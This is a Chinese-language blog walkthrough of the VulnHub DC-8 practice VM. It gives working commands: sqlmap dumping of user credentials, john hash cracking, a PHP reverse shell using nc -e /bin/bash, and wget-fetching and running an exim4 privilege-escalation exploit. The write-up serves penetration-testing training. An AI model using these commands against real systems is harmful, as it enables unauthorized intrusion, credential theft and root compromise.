@


前言

通过一些靶机实战练习,学习使用现有的工具来成为脚本小子。

一、环境搭建

  1. 靶机:Linux虚拟机 DC8(下载地址 https://www.vulnhub.com/entry/dc-8,367/),解压双击用VM虚拟机打开即可。
  2. 用于攻击的主机(本次采用kali)
  3. 确保主机和虚拟机在同一网段下。

二、目标和思路

  1. 绕过两因素身份验证,获得 root 并读取唯一的标志flag文件。
  2. 思路:信息收集->getshell->提权

三、实际操作

1.信息收集

  1. 查看靶机ip

  2. 使用netdiscover进行扫描,得到目标靶机的ip地址。netdiscover -r 192.168.124.0/24

  3. 使用nmap扫描靶机端口,查看哪些端口开放。nmap 192.168.124.134



    发现存在web服务器,网页访问网站。

  4. 网站点击链接发现可能存在sql注入,使用sqlmap扫描。

    #尝试获取数据库名
    sqlmap -u http://192.168.124.134/?nid=1 --dbs
    #尝试获取表名
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db --tables
    发现其中含有user表,此表往往是登陆网站,破解的关键数据。
    #尝试获取user表内的字段名
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users --columns
    #对user表内name和pass字段进行数据获取
    sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users -C name,pass --dump

    得到账号密码



    密码明显可以看出是经过加密的,所以我们需要解密。

  5. 使用john解密

    先将数据存储进一个文件example.txt中,并且以用户名:密码的形式进行保存。

    #在文件当前目录下使用john解密
    john example.txt



    得到john的密码,admin的密码解密失败。

  6. 使用dirb搜寻网站目录,获得登陆入口 dirb http://192.168.124.134,发现目录中存在/user,进入页面输入账号密码登陆成功。

2.getshell

  1. 一顿乱点,发现找到了可以编写php代码的位置(点击左上角content->点击edit->点击webforms->点击form settings->点击下拉框选择php code



  2. 输入一句话木马上传反弹shell(此处无法找到路径所以用反弹shell)<?php system("nc -n 192.168.124.134 9999 -e /bin/bash");?>(简单解释:nc是netcat命令,用于两台设别互相交互,-e参数表示当连接成功时在本机开启一个terminal,所有输入会传入到terminal上。)

  3. 保存后,先在kali上启动监听,等待靶机连接 nc -lvp 9999

  4. 在网页随意提交一个评论,启动连接

  5. 查看terminal发现连接成功,为了更方便的使用远程shell,可以尝试写一个python伪terminal来使用python -c "import pty; pty.spawn('/bin/bash');"

  6. 查看安装的软件是否含有suidfind / -perm -4000 2>/dev/null

    发现服务器软件exim4。

  7. 使用searchsploit查找相关漏洞。searchsploit exim4 找到漏洞提权文件 linux/local/46996.sh,打开文件,查看使用命令

    #usage instructions
    function usage()
    {
    echo "$0 [-m METHOD]"
    echo
    echo "-m setuid : use the setuid payload (default)"
    echo "-m netcat : use the netcat payload"
    echo
    exit 1
    }

    将该文件复制到kali apache服务器上,便于靶机下载(什么服务器都行)。

  8. 启动apache服务器 systemctl start apache2,使用之前的反弹shell下载漏洞文件wget http://192.168.124.130/exim4.sh(exim4.sh是漏洞文件,改了个名字)。权限不足时选择/tmp下载。下载成功后添加执行权限 chmod 777 exim4.sh

  9. 注意,直接运行脚本文件如果提示失败,有可能是格式问题,需要在主机上将脚本格式设置成符合unix格式。然后重新上传和下载。

    vim exim4.sh
    :set ff=unix
    :wq
  10. 根据脚本内使用方法输入命令 ./exim4.sh -m netcat 脚本运行成功后,成功打开/root/flag.txt文件,攻击成功。

总结

本次实验主要还是遵循 信息收集->getshell->提权 的思路,算是一次简单的入门实战练习。在更复杂的环境下还需要考虑更多方面的因素,需要不断实践总结。

脚本小子学习--vulnhub靶机DC8的更多相关文章

  1. Python大法之告别脚本小子系列—信息资产收集类脚本编写(下)

    作者:阿甫哥哥 原文来自:https://bbs.ichunqiu.com/article-1618-1.html 系列文章专辑:Python大法之告别脚本小子系列目录: 0×05 高精度字典生成脚本 ...

  2. vulnhub靶机-Me and My Girlfriend: 1

    vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...

  3. 详细介绍Linux shell脚本基础学习

    Linux shell脚本基础学习这里我们先来第一讲,介绍shell的语法基础,开头.注释.变量和 环境变量,向大家做一个基础的介绍,虽然不涉及具体东西,但是打好基础是以后学习轻松地前提.1. Lin ...

  4. Shell脚本编程学习入门 02

    Shell脚本编程学习入门是本文要介绍的内容,我们可以使用任意一种文字编辑器,比如gedit.kedit.emacs.vi等来编写shell脚本,它必须以如下行开始(必须放在文件的第一行):   #! ...

  5. Shell脚本的学习(二)

    Shell脚本的学习(二) 方法: 1) 一个计算器: 2)递归实现打印目录    3)方法调用

  6. Shell脚本的学习(一)

    Shell脚本的学习(一) 一)代码式shell脚本简介 1.下载 Xshell 5 建一个文件夹 mkdri home/data ; 1)查看一个在data里建一个1.sh 查看是否建立成功. 2) ...

  7. Linux&nbsp;shell脚本全面学习

    Linux shell脚本全面学习 1. Linux 脚本编写基础 1.1 语法基本介绍 1.1.1 开头 程序必须以下面的行开始(必须方在文件的第一行): #!/bin/sh 符号#!用来告诉系统它 ...

  8. Linux shell脚本基础学习详细介绍(完整版)二

    详细介绍Linux shell脚本基础学习(五) Linux shell脚本基础前面我们在介绍Linux shell脚本的控制流程时,还有一部分内容没讲就是有关here document的内容这里继续 ...

  9. Linux shell脚本基础学习详细介绍(完整版)一

    Linux shell脚本基础学习这里我们先来第一讲,介绍shell的语法基础,开头.注释.变量和 环境变量,向大家做一个基础的介绍,虽然不涉及具体东西,但是打好基础是以后学习轻松地前提.1. Lin ...

随机推荐

  1. linux中如何添加用户并赋予root权限详解

    #adduser username 修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示: ## Allow root to run any commands anyw ...

  2. 因为它,我差点删库跑路:js防抖与节流

    前言 前端踩雷:短时间内重复提交导致数据重复. 对于前端大佬来说,防抖和节流的技术应用都是基本操作.对于"兼职"前端开发的来说,这些都是需要躺平的坑. 我们今天就来盘一盘js防抖与 ...

  3. SESSION和JWT

    1.传统登录的方式是使用 session + token,比较适用于Web应用的会话管理.token 是指在客户端使用 token 作为用户状态凭证,浏览器一般存储在 localStorage 或者 ...

  4. 利用C语言判定用户输入数据从而给出结果(利用判定用户体重范围)同求最优解!!!

    例子: 要求:医务工作者通过广泛的调查和统计分析,根据成人的身高与体重因素给出了按"体质指数"进行判断的方法,具体如下: 体质指数t=体重 w/(身高h)2(w的单位为kg,h的单 ...

  5. Sharding+SpringBoot+Mybatis 读写分离

    基于Sharding JDBC的读写分离 1.引入pom.xml <dependencies> <!-- mybatis --> <dependency> < ...

  6. C#版Nebula客户端编译

    一.需求背景 从Nebula的Github上可以发现,Nebula为以下语言提供了客户端SDK: nebula-cpp nebula-java nebula-go nebula-python nebu ...

  7. python使用笔记22--mock接口开发

    1.mock接口开发 mock是模拟一个接口的意思 为了不阻止测试,开发一个接口,返回你想要的数据,模拟各种场景 需要安装第三方模块flask,flask是web轻量级开发框架 1.1 flask p ...

  8. 以太网MAC地址组成与交换机基本知识

    以太网MAC地址 MAC地址由48位二进制组成,通常分为六段,用十六进制表示,工作在数据链路层. 数据链路层功能: 链路的建立,维护与拆除 帧包装,帧传输,帧同步 帧的差错恢复 简单的流量控制 第八位 ...

  9. [刘阳Java]_InternalResourceViewResolver视图解析器_第6讲

    SpringMVC在处理器方法中通常返回的是逻辑视图,如何定位到真正的页面,就需要通过视图解析器 InternalResourceViewResolver是SpringMVC中比较常用视图解析器. 网 ...

  10. Python图表库Matplotlib 组成部分介绍

    图表有很多个组成部分,例如标题.x/y轴名称.大刻度小刻度.线条.数据点.注释说明等等. 我们来看官方给的图,图中标出了各个部分的英文名称 Matplotlib提供了很多api,开发者可根据需求定制图 ...